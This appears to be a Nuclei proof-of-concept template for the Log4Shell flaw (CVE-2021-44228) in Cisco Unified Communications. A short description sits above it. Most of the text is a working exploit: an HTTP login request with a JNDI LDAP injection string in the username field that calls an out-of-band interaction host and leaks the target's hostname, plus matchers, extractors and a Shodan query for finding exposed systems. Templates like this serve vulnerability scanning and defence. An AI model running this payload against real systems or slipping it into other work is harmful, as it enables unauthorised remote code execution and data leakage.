Cisco Unified Communications is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: cisco-unified-communications-log4j-rce
info:
name: Cisco Unified Communications - Remote Code Execution (Apache Log4j)
author: DhiyaneshDK
severity: critical
description: Cisco Unified Communications is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:cisco:unified_communications_domain_manager:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Cisco Unified"
product: unified_communications_domain_manager
vendor: cisco
tags: cve,cve2021,rce,jndi,log4j,cisco,kev,oast,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
POST /ccmadmin/j_security_check HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}/ccmadmin/showHome.do
appNav=ccmadmin&j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&j_password=admin
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a004730450220195c1a7e7817a55fa891cdcab3c05b8e2f3525a7ad19c48743ad8d966ea6eb44022100ec8f0488ae3577c5e770e50caa1e1f70c51a74bc74b1f36de2c9a0d7440ec291:922c64590222798bb761d5b6d8e72950